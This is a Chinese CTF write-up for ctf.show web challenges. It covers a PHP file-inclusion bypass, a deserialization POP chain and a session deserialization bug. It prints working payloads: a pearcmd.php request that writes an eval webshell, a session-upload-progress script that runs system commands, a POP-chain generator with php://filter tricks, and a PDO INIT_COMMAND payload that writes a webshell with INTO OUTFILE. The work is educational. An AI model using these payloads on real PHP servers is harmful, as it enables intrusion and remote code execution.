web1 easy_include
解析:是一个利用php伪协议中的file协议读取本地文件的题目
难点:加了waf,其作用就是判断传参里面开头是否是字母,是字母就可以通过。
^表示开头,[a-z]表示26个小写字母。
思路:拿到题目在想读取文件的话无外乎两种。
第一种:目录穿越,那就得..进行绕过,可是waf必须字母开头,一开始想找有没有办法绕过,发现此路不通。
第二种:知道文件名,就在当前目录读取,那用dirsearch和查找相关信息都没有,出了一个.htaccess,但没有用,一开始以为有什么信息。
既然现在不知道文件名,那尝试读取一下固定配置信息,例如:
配置文件 /etc/nginx/nginx.conf
访问日志 /var/log/nginx/access.log
但这时候有个难点:
我们只能读取当前目录文件,上面这两个都需要从根目录读取,而限制了/进行首字母传参,这里要运用知识点
localhost可以代替/进行绕过
这时候我们就能读取信息了。
从下面这里可以看到有一个younever00know.log,一开始以为是信息,但后面通过审计代码发现关闭了log,所以无用,看来半天没有找到利用点。
这时候就要想到别的文件包含默认利用点了
方法1:pear文件包含
这个方法的利用要满足几点
安装了pear
开启了registerargcargv
存在可控的include $_GET['f']
当然这里只看到有第三点有类似利用点,但死马当作活马医,先尝试一下,好像有用?
get传参
http://62d91630-839f-4c0d-afe6-504129ab4156.challenge.ctf.show/?+config-create+/<?=eval($_POST[2]);?>+/var/www/html/a.php
post传参
1=localhost/usr/local/lib/php/pearcmd.php
为什么是这样呢,让我们来解析一下
原句是:?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/var/www/html/a.php
pear工具里有一个命令叫:config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
第一部分:/usr/local/lib/php/pearcmd.php 这是pearcmd.php文件的固定位置
第二部分:&+config-create+/ 这里就是传参了
第三部分:<?=eval($_POST[2]);?> 写入参数
第四部分:/var/www/html/a.php 写入路径
那这里我们读取pear文件是post传参,但创建文件传参是在get中,所以分开了。
这里发现可以利用成功,但这有一点,不要用hackbar穿,因为<在这会被编码导致无法形成php代码,用burp.
传参成功后读取下文件
方法2:session包含利用
观察cookie,发现自动开启了session,是否可以session文件包含?
session⽂件的⽂件名格式为 sess_ PHPSESSID ,⽽ PHPSESSID 在发送的请求头cookie字段中可以看到。
一般session文件的位置
/tmp/sess_PHPSESSID
这里的思路就是利用上传文件会自动存储到对应的sessid文件夹里面,所以就是读取传入的文件,而正好传输文件里面的参数我们是可控的(PHP_SESSION_UPLOAD_PROGRESS来控制),这里贴一个官方wp
import requests
# Author:ctfshow-h1xa
url = "xxx"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1':'localhost/tmp/sess_ctfshow',
'2':'system("cat /flag_is_here.txt");'
}
file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
web2 easy_web
拿到题目就知道是一个反序列化题目,先不管pop链的构造,看下注入这里是有过滤的
三个绕过点:
1.show_show.show
这种Trick只能在PHP版本小于8时有效,当PHP版本大于等于8并不会出现这种转换错误
非法传参名
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
所以这里传参应该传入[,.就不会变成_。
show[show.show
2. waf1($_REQUEST)
waf1是要求只能字母,不过这里关键是$_REQUEST.
同时接受post和get,但优先接受post可以进行绕过
所以post传入同名参数即可
3.$_SERVER['QUERY_STRING']
不能出现show,因为这个是不进行url解码的,所以用url编码绕过
%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1 ##(show[show.show=1)
到这就以及到了pop链构造门口了。
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
}
链条的构造并不难,给出链子ctf->show->chu.
四个绕过点:
1./^[Oa]:[\d]/i
O:1 --> O:+1
2.wakeup绕过
反序列化后触发wakeup抛出异常。
强制GC回收导致__destruct魔术方法不起作用从而触发不了其他魔术方法
$n=null;
$payload=array($a,$n);
echo serialize($payload);
3.$this->chu0===$this->chu1
$b->chu0=&$b->chu1;
4.伪协议绕过多余字符
可以看到原content是有内容的,下面是提取内容作为eval($_tmp($_cmd));明显要我们把内容读取出来是要system,那怎么构造,这里就要有用到php伪协议加上过滤标签。
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/convert.base64-decode/resource=
这是清空原内容作用。
再写入内容也需要变换
给出脚本
<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
$s = str_replace('=FE=FF=00','',$s);
$s=$s.'=00';
echo $s;
//只要c开始后面
具体细节看Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区
https://www.cnblogs.com/aninock/p/16612452.html
给出pop链构造脚本
<?php
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Error("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
echo 'success';
}
return "Go on";
}
}
$a=new ctf();
$a->h1=new show();
$b=new Chu0_write();
$b->chu0=&$b->chu1;
$a->h2=array(array('b', 'b',$b), array('b', 'b', '3'));
$n=null;
$payload=array($a,$n);
echo serialize($payload);
完整payload
get传参
http://8b8bdac7-bf8c-4a5a-8973-e7b2973c4f50.challenge.ctf.show/?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/convert.base64-decode/resource=ctfw&cmd=env&chu0=c=003=00l=00z=00d=00G=00V=00t=00
post传参
%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1
拿到flag
web3.孤注一掷
web4 easy_login
一把审计源码题,整体先看看,有一个注册和登入,进去后就是退出,关于注册登陆问题一般就想到session相关问题。再看源码
这是关键部分,我们可以看到这里是一个session包含,会触发反序列化,
在 PHP 中,如果使用了默认存储会话变量的方式(即使用默认的
session.save_handler
和
session.save_path
),那么会话数据则是被序列化并保存在文件系统中,文件名中包含了会话 ID。因此,如果调用
session_decode($_GET['token'])
,
则会对从 GET 请求中获取到的经序列化后的字符串(即$_GET['token']
)进行反序列化,并将结果存储在
$_SESSION
数组中
那我们就去找相关类
这里有一个处理相关类可以写入指令的漏洞
再加上触发session反序列化的
合起来构造,(我也不咋会)脚本取自https://z3r4y.blog.csdn.net/article/details/135333972?spm=1001.2014.3001.5502&ydreferer=aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3V1emVyYXk%2FdHlwZT1ibG9n
这里就是利用反序列化然后利用mysql进行写入文件,和官方wp不一样,官方是利用密码注册成一句话木马,然后根据密码造成rce。
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$a = new application();
echo urlencode(serialize($a));
想了解更仔细的,可以搜索ctfshow红包题9,看有没有更仔细的wp。
稍等我期末考试复习有空写完,尽量写详细点,回来慢慢把web的都补充上
版权归原作者 N1_WEB 所有, 如有侵权,请联系我们删除。